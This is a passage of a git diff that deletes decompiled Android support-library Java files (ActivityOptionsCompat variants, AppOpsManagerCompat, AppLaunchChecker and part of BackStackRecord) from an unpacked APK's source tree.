ActivityOptionsImpl24(ActivityOptionsCompat24.makeThumbnailScaleUpAnimation(view, bitmap, i, i2)); - } - - public static ActivityOptionsCompat makeSceneTransitionAnimation(Activity activity, View view, String str) { - return new ActivityOptionsImpl24(ActivityOptionsCompat24.makeSceneTransitionAnimation(activity, view, str)); - } - - public static ActivityOptionsCompat makeSceneTransitionAnimation(Activity activity, Pair... pairArr) { - View[] viewArr; - String[] strArr; - if (pairArr != null) { - viewArr = new View[pairArr.length]; - strArr = new String[pairArr.length]; - for (int i = 0; i < pairArr.length; i++) { - viewArr[i] = pairArr[i].first; - strArr[i] = pairArr[i].second; - } - } else { - viewArr = null; - strArr = null; - } - return new ActivityOptionsImpl24(ActivityOptionsCompat24.makeSceneTransitionAnimation(activity, viewArr, strArr)); - } - - public static ActivityOptionsCompat makeTaskLaunchBehind() { - return new ActivityOptionsImpl24(ActivityOptionsCompat24.makeTaskLaunchBehind()); - } - - public static ActivityOptionsCompat makeBasic() { - return new ActivityOptionsImpl24(ActivityOptionsCompat24.makeBasic()); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class ActivityOptionsImplJB extends ActivityOptionsCompat { - private final ActivityOptionsCompatJB mImpl; - - ActivityOptionsImplJB(ActivityOptionsCompatJB activityOptionsCompatJB) { - this.mImpl = activityOptionsCompatJB; - } - - @Override // android.support.v4.app.ActivityOptionsCompat - public Bundle toBundle() { - return this.mImpl.toBundle(); - } - - @Override // android.support.v4.app.ActivityOptionsCompat - public void update(ActivityOptionsCompat activityOptionsCompat) { - if (activityOptionsCompat instanceof ActivityOptionsImplJB) { - this.mImpl.update(((ActivityOptionsImplJB) activityOptionsCompat).mImpl); - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class ActivityOptionsImpl21 extends ActivityOptionsCompat { - private final ActivityOptionsCompat21 mImpl; - - ActivityOptionsImpl21(ActivityOptionsCompat21 activityOptionsCompat21) { - this.mImpl = activityOptionsCompat21; - } - - @Override // android.support.v4.app.ActivityOptionsCompat - public Bundle toBundle() { - return this.mImpl.toBundle(); - } - - @Override // android.support.v4.app.ActivityOptionsCompat - public void update(ActivityOptionsCompat activityOptionsCompat) { - if (activityOptionsCompat instanceof ActivityOptionsImpl21) { - this.mImpl.update(((ActivityOptionsImpl21) activityOptionsCompat).mImpl); - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class ActivityOptionsImpl23 extends ActivityOptionsCompat { - private final ActivityOptionsCompat23 mImpl; - - ActivityOptionsImpl23(ActivityOptionsCompat23 activityOptionsCompat23) { - this.mImpl = activityOptionsCompat23; - } - - @Override // android.support.v4.app.ActivityOptionsCompat - public Bundle toBundle() { - return this.mImpl.toBundle(); - } - - @Override // android.support.v4.app.ActivityOptionsCompat - public void update(ActivityOptionsCompat activityOptionsCompat) { - if (activityOptionsCompat instanceof ActivityOptionsImpl23) { - this.mImpl.update(((ActivityOptionsImpl23) activityOptionsCompat).mImpl); - } - } - - @Override // android.support.v4.app.ActivityOptionsCompat - public void requestUsageTimeReport(PendingIntent pendingIntent) { - this.mImpl.requestUsageTimeReport(pendingIntent); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class ActivityOptionsImpl24 extends ActivityOptionsCompat { - private final ActivityOptionsCompat24 mImpl; - - ActivityOptionsImpl24(ActivityOptionsCompat24 activityOptionsCompat24) { - this.mImpl = activityOptionsCompat24; - } - - @Override // android.support.v4.app.ActivityOptionsCompat - public Bundle toBundle() { - return this.mImpl.toBundle(); - } - - @Override // android.support.v4.app.ActivityOptionsCompat - public void update(ActivityOptionsCompat activityOptionsCompat) { - if (activityOptionsCompat instanceof ActivityOptionsImpl24) { - this.mImpl.update(((ActivityOptionsImpl24) activityOptionsCompat).mImpl); - } - } - - @Override // android.support.v4.app.ActivityOptionsCompat - public ActivityOptionsCompat setLaunchBounds(Rect rect) { - return new ActivityOptionsImpl24(this.mImpl.setLaunchBounds(rect)); - } - - @Override // android.support.v4.app.ActivityOptionsCompat - public Rect getLaunchBounds() { - return this.mImpl.getLaunchBounds(); - } - - @Override // android.support.v4.app.ActivityOptionsCompat - public void requestUsageTimeReport(PendingIntent pendingIntent) { - this.mImpl.requestUsageTimeReport(pendingIntent); - } - } - - protected ActivityOptionsCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityOptionsCompat21.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityOptionsCompat21.java deleted file mode 100644 index 58e1d71..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityOptionsCompat21.java +++ /dev/null @@ -1,59 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.app.ActivityOptions; -import android.content.Context; -import android.graphics.Bitmap; -import android.os.Bundle; -import android.util.Pair; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ActivityOptionsCompat21 { - private final ActivityOptions mActivityOptions; - - public static ActivityOptionsCompat21 makeCustomAnimation(Context context, int i, int i2) { - return new ActivityOptionsCompat21(ActivityOptions.makeCustomAnimation(context, i, i2)); - } - - public static ActivityOptionsCompat21 makeScaleUpAnimation(View view, int i, int i2, int i3, int i4) { - return new ActivityOptionsCompat21(ActivityOptions.makeScaleUpAnimation(view, i, i2, i3, i4)); - } - - public static ActivityOptionsCompat21 makeThumbnailScaleUpAnimation(View view, Bitmap bitmap, int i, int i2) { - return new ActivityOptionsCompat21(ActivityOptions.makeThumbnailScaleUpAnimation(view, bitmap, i, i2)); - } - - public static ActivityOptionsCompat21 makeSceneTransitionAnimation(Activity activity, View view, String str) { - return new ActivityOptionsCompat21(ActivityOptions.makeSceneTransitionAnimation(activity, view, str)); - } - - public static ActivityOptionsCompat21 makeSceneTransitionAnimation(Activity activity, View[] viewArr, String[] strArr) { - Pair[] pairArr; - if (viewArr != null) { - int length = viewArr.length; - pairArr = new Pair[length]; - for (int i = 0; i < length; i++) { - pairArr[i] = Pair.create(viewArr[i], strArr[i]); - } - } else { - pairArr = null; - } - return new ActivityOptionsCompat21(ActivityOptions.makeSceneTransitionAnimation(activity, pairArr)); - } - - public static ActivityOptionsCompat21 makeTaskLaunchBehind() { - return new ActivityOptionsCompat21(ActivityOptions.makeTaskLaunchBehind()); - } - - private ActivityOptionsCompat21(ActivityOptions activityOptions) { - this.mActivityOptions = activityOptions; - } - - public Bundle toBundle() { - return this.mActivityOptions.toBundle(); - } - - public void update(ActivityOptionsCompat21 activityOptionsCompat21) { - this.mActivityOptions.update(activityOptionsCompat21.mActivityOptions); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityOptionsCompat23.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityOptionsCompat23.java deleted file mode 100644 index 08f3bb6..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityOptionsCompat23.java +++ /dev/null @@ -1,72 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.app.ActivityOptions; -import android.app.PendingIntent; -import android.content.Context; -import android.graphics.Bitmap; -import android.os.Bundle; -import android.util.Pair; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ActivityOptionsCompat23 { - private final ActivityOptions mActivityOptions; - - public static ActivityOptionsCompat23 makeCustomAnimation(Context context, int i, int i2) { - return new ActivityOptionsCompat23(ActivityOptions.makeCustomAnimation(context, i, i2)); - } - - public static ActivityOptionsCompat23 makeScaleUpAnimation(View view, int i, int i2, int i3, int i4) { - return new ActivityOptionsCompat23(ActivityOptions.makeScaleUpAnimation(view, i, i2, i3, i4)); - } - - public static ActivityOptionsCompat23 makeThumbnailScaleUpAnimation(View view, Bitmap bitmap, int i, int i2) { - return new ActivityOptionsCompat23(ActivityOptions.makeThumbnailScaleUpAnimation(view, bitmap, i, i2)); - } - - public static ActivityOptionsCompat23 makeSceneTransitionAnimation(Activity activity, View view, String str) { - return new ActivityOptionsCompat23(ActivityOptions.makeSceneTransitionAnimation(activity, view, str)); - } - - public static ActivityOptionsCompat23 makeSceneTransitionAnimation(Activity activity, View[] viewArr, String[] strArr) { - Pair[] pairArr; - if (viewArr != null) { - int length = viewArr.length; - pairArr = new Pair[length]; - for (int i = 0; i < length; i++) { - pairArr[i] = Pair.create(viewArr[i], strArr[i]); - } - } else { - pairArr = null; - } - return new ActivityOptionsCompat23(ActivityOptions.makeSceneTransitionAnimation(activity, pairArr)); - } - - public static ActivityOptionsCompat23 makeClipRevealAnimation(View view, int i, int i2, int i3, int i4) { - return new ActivityOptionsCompat23(ActivityOptions.makeClipRevealAnimation(view, i, i2, i3, i4)); - } - - public static ActivityOptionsCompat23 makeTaskLaunchBehind() { - return new ActivityOptionsCompat23(ActivityOptions.makeTaskLaunchBehind()); - } - - public static ActivityOptionsCompat23 makeBasic() { - return new ActivityOptionsCompat23(ActivityOptions.makeBasic()); - } - - private ActivityOptionsCompat23(ActivityOptions activityOptions) { - this.mActivityOptions = activityOptions; - } - - public Bundle toBundle() { - return this.mActivityOptions.toBundle(); - } - - public void update(ActivityOptionsCompat23 activityOptionsCompat23) { - this.mActivityOptions.update(activityOptionsCompat23.mActivityOptions); - } - - public void requestUsageTimeReport(PendingIntent pendingIntent) { - this.mActivityOptions.requestUsageTimeReport(pendingIntent); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityOptionsCompat24.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityOptionsCompat24.java deleted file mode 100644 index fd27554..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityOptionsCompat24.java +++ /dev/null @@ -1,81 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.app.ActivityOptions; -import android.app.PendingIntent; -import android.content.Context; -import android.graphics.Bitmap; -import android.graphics.Rect; -import android.os.Bundle; -import android.util.Pair; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ActivityOptionsCompat24 { - private final ActivityOptions mActivityOptions; - - public static ActivityOptionsCompat24 makeCustomAnimation(Context context, int i, int i2) { - return new ActivityOptionsCompat24(ActivityOptions.makeCustomAnimation(context, i, i2)); - } - - public static ActivityOptionsCompat24 makeScaleUpAnimation(View view, int i, int i2, int i3, int i4) { - return new ActivityOptionsCompat24(ActivityOptions.makeScaleUpAnimation(view, i, i2, i3, i4)); - } - - public static ActivityOptionsCompat24 makeThumbnailScaleUpAnimation(View view, Bitmap bitmap, int i, int i2) { - return new ActivityOptionsCompat24(ActivityOptions.makeThumbnailScaleUpAnimation(view, bitmap, i, i2)); - } - - public static ActivityOptionsCompat24 makeSceneTransitionAnimation(Activity activity, View view, String str) { - return new ActivityOptionsCompat24(ActivityOptions.makeSceneTransitionAnimation(activity, view, str)); - } - - public static ActivityOptionsCompat24 makeSceneTransitionAnimation(Activity activity, View[] viewArr, String[] strArr) { - Pair[] pairArr; - if (viewArr != null) { - int length = viewArr.length; - pairArr = new Pair[length]; - for (int i = 0; i < length; i++) { - pairArr[i] = Pair.create(viewArr[i], strArr[i]); - } - } else { - pairArr = null; - } - return new ActivityOptionsCompat24(ActivityOptions.makeSceneTransitionAnimation(activity, pairArr)); - } - - public static ActivityOptionsCompat24 makeClipRevealAnimation(View view, int i, int i2, int i3, int i4) { - return new ActivityOptionsCompat24(ActivityOptions.makeClipRevealAnimation(view, i, i2, i3, i4)); - } - - public static ActivityOptionsCompat24 makeTaskLaunchBehind() { - return new ActivityOptionsCompat24(ActivityOptions.makeTaskLaunchBehind()); - } - - public static ActivityOptionsCompat24 makeBasic() { - return new ActivityOptionsCompat24(ActivityOptions.makeBasic()); - } - - private ActivityOptionsCompat24(ActivityOptions activityOptions) { - this.mActivityOptions = activityOptions; - } - - public ActivityOptionsCompat24 setLaunchBounds(Rect rect) { - return new ActivityOptionsCompat24(this.mActivityOptions.setLaunchBounds(rect)); - } - - public Rect getLaunchBounds() { - return this.mActivityOptions.getLaunchBounds(); - } - - public Bundle toBundle() { - return this.mActivityOptions.toBundle(); - } - - public void update(ActivityOptionsCompat24 activityOptionsCompat24) { - this.mActivityOptions.update(activityOptionsCompat24.mActivityOptions); - } - - public void requestUsageTimeReport(PendingIntent pendingIntent) { - this.mActivityOptions.requestUsageTimeReport(pendingIntent); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityOptionsCompatJB.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityOptionsCompatJB.java deleted file mode 100644 index 22ba2dc..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActivityOptionsCompatJB.java +++ /dev/null @@ -1,35 +0,0 @@ -package android.support.v4.app; - -import android.app.ActivityOptions; -import android.content.Context; -import android.graphics.Bitmap; -import android.os.Bundle; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ActivityOptionsCompatJB { - private final ActivityOptions mActivityOptions; - - public static ActivityOptionsCompatJB makeCustomAnimation(Context context, int i, int i2) { - return new ActivityOptionsCompatJB(ActivityOptions.makeCustomAnimation(context, i, i2)); - } - - public static ActivityOptionsCompatJB makeScaleUpAnimation(View view, int i, int i2, int i3, int i4) { - return new ActivityOptionsCompatJB(ActivityOptions.makeScaleUpAnimation(view, i, i2, i3, i4)); - } - - public static ActivityOptionsCompatJB makeThumbnailScaleUpAnimation(View view, Bitmap bitmap, int i, int i2) { - return new ActivityOptionsCompatJB(ActivityOptions.makeThumbnailScaleUpAnimation(view, bitmap, i, i2)); - } - - private ActivityOptionsCompatJB(ActivityOptions activityOptions) { - this.mActivityOptions = activityOptions; - } - - public Bundle toBundle() { - return this.mActivityOptions.toBundle(); - } - - public void update(ActivityOptionsCompatJB activityOptionsCompatJB) { - this.mActivityOptions.update(activityOptionsCompatJB.mActivityOptions); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/AppLaunchChecker.java b/apk_3230/decompiled_source/sources/android/support/v4/app/AppLaunchChecker.java deleted file mode 100644 index 8af057a..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/AppLaunchChecker.java +++ /dev/null @@ -1,28 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.content.Context; -import android.content.Intent; -import android.content.SharedPreferences; -import android.support.v4.content.IntentCompat; -import android.support.v4.content.SharedPreferencesCompat; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class AppLaunchChecker { - private static final String KEY_STARTED_FROM_LAUNCHER = "startedFromLauncher"; - private static final String SHARED_PREFS_NAME = "android.support.AppLaunchChecker"; - - public static boolean hasStartedFromLauncher(Context context) { - return context.getSharedPreferences(SHARED_PREFS_NAME, 0).getBoolean(KEY_STARTED_FROM_LAUNCHER, false); - } - - public static void onActivityCreate(Activity activity) { - Intent intent; - SharedPreferences sharedPreferences = activity.getSharedPreferences(SHARED_PREFS_NAME, 0); - if (sharedPreferences.getBoolean(KEY_STARTED_FROM_LAUNCHER, false) || (intent = activity.getIntent()) == null || !"android.intent.action.MAIN".equals(intent.getAction())) { - return; - } - if (intent.hasCategory("android.intent.category.LAUNCHER") || intent.hasCategory(IntentCompat.CATEGORY_LEANBACK_LAUNCHER)) { - SharedPreferencesCompat.EditorCompat.getInstance().apply(sharedPreferences.edit().putBoolean(KEY_STARTED_FROM_LAUNCHER, true)); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/AppOpsManagerCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/app/AppOpsManagerCompat.java deleted file mode 100644 index 0488c6b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/AppOpsManagerCompat.java +++ /dev/null @@ -1,64 +0,0 @@ -package android.support.v4.app; - -import android.content.Context; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class AppOpsManagerCompat { - private static final AppOpsManagerImpl IMPL = new AppOpsManager23(); - public static final int MODE_ALLOWED = 0; - public static final int MODE_DEFAULT = 3; - public static final int MODE_IGNORED = 1; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class AppOpsManagerImpl { - public int noteOp(Context context, String str, int i, String str2) { - return 1; - } - - public int noteProxyOp(Context context, String str, String str2) { - return 1; - } - - public String permissionToOp(String str) { - return null; - } - - AppOpsManagerImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class AppOpsManager23 extends AppOpsManagerImpl { - AppOpsManager23() { - } - - @Override // android.support.v4.app.AppOpsManagerCompat.AppOpsManagerImpl - public String permissionToOp(String str) { - return AppOpsManagerCompat23.permissionToOp(str); - } - - @Override // android.support.v4.app.AppOpsManagerCompat.AppOpsManagerImpl - public int noteOp(Context context, String str, int i, String str2) { - return AppOpsManagerCompat23.noteOp(context, str, i, str2); - } - - @Override // android.support.v4.app.AppOpsManagerCompat.AppOpsManagerImpl - public int noteProxyOp(Context context, String str, String str2) { - return AppOpsManagerCompat23.noteProxyOp(context, str, str2); - } - } - - private AppOpsManagerCompat() { - } - - public static String permissionToOp(String str) { - return IMPL.permissionToOp(str); - } - - public static int noteOp(Context context, String str, int i, String str2) { - return IMPL.noteOp(context, str, i, str2); - } - - public static int noteProxyOp(Context context, String str, String str2) { - return IMPL.noteProxyOp(context, str, str2); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/AppOpsManagerCompat23.java b/apk_3230/decompiled_source/sources/android/support/v4/app/AppOpsManagerCompat23.java deleted file mode 100644 index 1163482..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/AppOpsManagerCompat23.java +++ /dev/null @@ -1,21 +0,0 @@ -package android.support.v4.app; - -import android.app.AppOpsManager; -import android.content.Context; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AppOpsManagerCompat23 { - AppOpsManagerCompat23() { - } - - public static String permissionToOp(String str) { - return AppOpsManager.permissionToOp(str); - } - - public static int noteOp(Context context, String str, int i, String str2) { - return ((AppOpsManager) context.getSystemService(AppOpsManager.class)).noteOp(str, i, str2); - } - - public static int noteProxyOp(Context context, String str, String str2) { - return ((AppOpsManager) context.getSystemService(AppOpsManager.class)).noteProxyOp(str, str2); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/BackStackRecord.java b/apk_3230/decompiled_source/sources/android/support/v4/app/BackStackRecord.java deleted file mode 100644 index 0a2957e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/BackStackRecord.java +++ /dev/null @@ -1,1223 +0,0 @@ -package android.support.v4.app; - -import android.support.v4.app.FragmentManager; -import android.support.v4.app.FragmentTransitionCompat21; -import android.support.v4.util.ArrayMap; -import android.support.v4.util.LogWriter; -import android.util.Log; -import android.util.SparseArray; -import android.view.View; -import android.view.ViewGroup; -import android.view.ViewTreeObserver; -import java.io.FileDescriptor; -import java.io.PrintWriter; -import java.lang.reflect.Modifier; -import java.util.ArrayList; -/* JADX INFO: Access modifiers changed from: package-private */ -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class BackStackRecord extends FragmentTransaction implements FragmentManager.BackStackEntry, Runnable { - static final int OP_ADD = 1; - static final int OP_ATTACH = 7; - static final int OP_DETACH = 6; - static final int OP_HIDE = 4; - static final int OP_NULL = 0; - static final int OP_REMOVE = 3; - static final int OP_REPLACE = 2; - static final int OP_SHOW = 5; - static final boolean SUPPORTS_TRANSITIONS = true; - static final String TAG = "FragmentManager"; - boolean mAddToBackStack; - int mBreadCrumbShortTitleRes; - CharSequence mBreadCrumbShortTitleText; - int mBreadCrumbTitleRes; - CharSequence mBreadCrumbTitleText; - boolean mCommitted; - int mEnterAnim; - int mExitAnim; - Op mHead; - final FragmentManagerImpl mManager; - String mName; - int mNumOp; - int mPopEnterAnim; - int mPopExitAnim; - ArrayList mSharedElementSourceNames; - ArrayList mSharedElementTargetNames; - Op mTail; - int mTransition; - int mTransitionStyle; - boolean mAllowAddToBackStack = true; - int mIndex = -1; - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class Op { - int cmd; - int enterAnim; - int exitAnim; - Fragment fragment; - Op next; - int popEnterAnim; - int popExitAnim; - Op prev; - ArrayList removed; - } - - public String toString() { - StringBuilder sb = new StringBuilder(128); - sb.append("BackStackEntry{"); - sb.append(Integer.toHexString(System.identityHashCode(this))); - if (this.mIndex >= 0) { - sb.append(" #"); - sb.append(this.mIndex); - } - if (this.mName != null) { - sb.append(" "); - sb.append(this.mName); - } - sb.append("}"); - return sb.toString(); - } - - public void dump(String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr) { - dump(str, printWriter, true); - } - - public void dump(String str, PrintWriter printWriter, boolean z) { - String str2; - if (z) { - printWriter.print(str); - printWriter.print("mName="); - printWriter.print(this.mName); - printWriter.print(" mIndex="); - printWriter.print(this.mIndex); - printWriter.print(" mCommitted="); - printWriter.println(this.mCommitted); - if (this.mTransition != 0) { - printWriter.print(str); - printWriter.print("mTransition=#"); - printWriter.print(Integer.toHexString(this.mTransition)); - printWriter.print(" mTransitionStyle=#"); - printWriter.println(Integer.toHexString(this.mTransitionStyle)); - } - if (this.mEnterAnim != 0 || this.mExitAnim != 0) { - printWriter.print(str); - printWriter.print("mEnterAnim=#"); - printWriter.print(Integer.toHexString(this.mEnterAnim)); - printWriter.print(" mExitAnim=#"); - printWriter.println(Integer.toHexString(this.mExitAnim)); - } - if (this.mPopEnterAnim != 0 || this.mPopExitAnim != 0) { - printWriter.print(str); - printWriter.print("mPopEnterAnim=#"); - printWriter.print(Integer.toHexString(this.mPopEnterAnim)); - printWriter.print(" mPopExitAnim=#"); - printWriter.println(Integer.toHexString(this.mPopExitAnim)); - } - if (this.mBreadCrumbTitleRes != 0 || this.mBreadCrumbTitleText != null) { - printWriter.print(str); - printWriter.print("mBreadCrumbTitleRes=#"); - printWriter.print(Integer.toHexString(this.mBreadCrumbTitleRes)); - printWriter.print(" mBreadCrumbTitleText="); - printWriter.println(this.mBreadCrumbTitleText); - } - if (this.mBreadCrumbShortTitleRes != 0 || this.mBreadCrumbShortTitleText != null) { - printWriter.print(str); - printWriter.print("mBreadCrumbShortTitleRes=#"); - printWriter.print(Integer.toHexString(this.mBreadCrumbShortTitleRes)); - printWriter.print(" mBreadCrumbShortTitleText="); - printWriter.println(this.mBreadCrumbShortTitleText); - } - } - if (this.mHead != null) { - printWriter.print(str); - printWriter.println("Operations:"); - String str3 = str + " "; - Op op = this.mHead; - int i = 0; - while (op != null) { - switch (op.cmd) { - case 0: - str2 = "NULL"; - break; - case 1: - str2 = "ADD"; - break; - case 2: - str2 = "REPLACE"; - break; - case 3: - str2 = "REMOVE"; - break; - case 4: - str2 = "HIDE"; - break; - case 5: - str2 = "SHOW"; - break; - case 6: - str2 = "DETACH"; - break; - case 7: - str2 = "ATTACH"; - break; - default: - str2 = "cmd=" + op.cmd; - break; - } - printWriter.print(str); - printWriter.print(" Op #"); - printWriter.print(i); - printWriter.print(": "); - printWriter.print(str2); - printWriter.print(" "); - printWriter.println(op.fragment); - if (z) { - if (op.enterAnim != 0 || op.exitAnim != 0) { - printWriter.print(str); - printWriter.print("enterAnim=#"); - printWriter.print(Integer.toHexString(op.enterAnim)); - printWriter.print(" exitAnim=#"); - printWriter.println(Integer.toHexString(op.exitAnim)); - } - if (op.popEnterAnim != 0 || op.popExitAnim != 0) { - printWriter.print(str); - printWriter.print("popEnterAnim=#"); - printWriter.print(Integer.toHexString(op.popEnterAnim)); - printWriter.print(" popExitAnim=#"); - printWriter.println(Integer.toHexString(op.popExitAnim)); - } - } - if (op.removed != null && op.removed.size() > 0) { - for (int i2 = 0; i2 < op.removed.size(); i2++) { - printWriter.print(str3); - if (op.removed.size() == 1) { - printWriter.print("Removed: "); - } else { - if (i2 == 0) { - printWriter.println("Removed:"); - } - printWriter.print(str3); - printWriter.print(" #"); - printWriter.print(i2); - printWriter.print(": "); - } - printWriter.println(op.removed.get(i2)); - } - } - op = op.next; - i++; - } - } - } - - public BackStackRecord(FragmentManagerImpl fragmentManagerImpl) { - this.mManager = fragmentManagerImpl; - } - - @Override // android.support.v4.app.FragmentManager.BackStackEntry - public int getId() { - return this.mIndex; - } - - @Override // android.support.v4.app.FragmentManager.BackStackEntry - public int getBreadCrumbTitleRes() { - return this.mBreadCrumbTitleRes; - } - - @Override // android.support.v4.app.FragmentManager.BackStackEntry - public int getBreadCrumbShortTitleRes() { - return this.mBreadCrumbShortTitleRes; - } - - @Override // android.support.v4.app.FragmentManager.BackStackEntry - public CharSequence getBreadCrumbTitle() { - if (this.mBreadCrumbTitleRes != 0) { - return this.mManager.mHost.getContext().getText(this.mBreadCrumbTitleRes); - } - return this.mBreadCrumbTitleText; - } - - @Override // android.support.v4.app.FragmentManager.BackStackEntry - public CharSequence getBreadCrumbShortTitle() { - if (this.mBreadCrumbShortTitleRes != 0) { - return this.mManager.mHost.getContext().getText(this.mBreadCrumbShortTitleRes); - } - return this.mBreadCrumbShortTitleText; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void addOp(Op op) { - if (this.mHead == null) { - this.mTail = op; - this.mHead = op; - } else { - op.prev = this.mTail; - this.mTail.next = op; - this.mTail = op; - } - op.enterAnim = this.mEnterAnim; - op.exitAnim = this.mExitAnim; - op.popEnterAnim = this.mPopEnterAnim; - op.popExitAnim = this.mPopExitAnim; - this.mNumOp++; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction add(Fragment fragment, String str) { - doAddOp(0, fragment, str, 1); - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction add(int i, Fragment fragment) { - doAddOp(i, fragment, null, 1); - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction add(int i, Fragment fragment, String str) { - doAddOp(i, fragment, str, 1); - return this; - } - - private void doAddOp(int i, Fragment fragment, String str, int i2) { - Class cls = fragment.getClass(); - int modifiers = cls.getModifiers(); - if (cls.isAnonymousClass() || !Modifier.isPublic(modifiers) || (cls.isMemberClass() && !Modifier.isStatic(modifiers))) { - throw new IllegalStateException("Fragment " + cls.getCanonicalName() + " must be a public static class to be properly recreated from instance state."); - } - fragment.mFragmentManager = this.mManager; - if (str != null) { - if (fragment.mTag != null && !str.equals(fragment.mTag)) { - throw new IllegalStateException("Can't change tag of fragment " + fragment + ": was " + fragment.mTag + " now " + str); - } - fragment.mTag = str; - } - if (i != 0) { - if (i == -1) { - throw new IllegalArgumentException("Can't add fragment " + fragment + " with tag " + str + " to container view with no id"); - } - if (fragment.mFragmentId != 0 && fragment.mFragmentId != i) { - throw new IllegalStateException("Can't change container ID of fragment " + fragment + ": was " + fragment.mFragmentId + " now " + i); - } - fragment.mFragmentId = i; - fragment.mContainerId = i; - } - Op op = new Op(); - op.cmd = i2; - op.fragment = fragment; - addOp(op); - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction replace(int i, Fragment fragment) { - return replace(i, fragment, null); - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction replace(int i, Fragment fragment, String str) { - if (i == 0) { - throw new IllegalArgumentException("Must use non-zero containerViewId"); - } - doAddOp(i, fragment, str, 2); - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction remove(Fragment fragment) { - Op op = new Op(); - op.cmd = 3; - op.fragment = fragment; - addOp(op); - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction hide(Fragment fragment) { - Op op = new Op(); - op.cmd = 4; - op.fragment = fragment; - addOp(op); - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction show(Fragment fragment) { - Op op = new Op(); - op.cmd = 5; - op.fragment = fragment; - addOp(op); - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction detach(Fragment fragment) { - Op op = new Op(); - op.cmd = 6; - op.fragment = fragment; - addOp(op); - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction attach(Fragment fragment) { - Op op = new Op(); - op.cmd = 7; - op.fragment = fragment; - addOp(op); - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction setCustomAnimations(int i, int i2) { - return setCustomAnimations(i, i2, 0, 0); - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction setCustomAnimations(int i, int i2, int i3, int i4) { - this.mEnterAnim = i; - this.mExitAnim = i2; - this.mPopEnterAnim = i3; - this.mPopExitAnim = i4; - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction setTransition(int i) { - this.mTransition = i; - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction addSharedElement(View view, String str) { - if (SUPPORTS_TRANSITIONS) { - String transitionName = FragmentTransitionCompat21.getTransitionName(view); - if (transitionName == null) { - throw new IllegalArgumentException("Unique transitionNames are required for all sharedElements"); - } - if (this.mSharedElementSourceNames == null) { - this.mSharedElementSourceNames = new ArrayList<>(); - this.mSharedElementTargetNames = new ArrayList<>(); - } - this.mSharedElementSourceNames.add(transitionName); - this.mSharedElementTargetNames.add(str); - } - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction setTransitionStyle(int i) { - this.mTransitionStyle = i; - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction addToBackStack(String str) { - if (!this.mAllowAddToBackStack) { - throw new IllegalStateException("This FragmentTransaction is not allowed to be added to the back stack."); - } - this.mAddToBackStack = true; - this.mName = str; - return this; - } - - @Override // android.support.v4.app.FragmentTransaction - public boolean isAddToBackStackAllowed() { - return this.mAllowAddToBackStack; - } - - @Override // android.support.v4.app.FragmentTransaction - public FragmentTransaction disallowAddToBackStack() { - if (this.mAddToBackStack) { - throw new IllegalStateException("This transaction is already being added to the back stack"); - } - this.mAllowAddToBackStack = false; - return this; - } - - @Override // 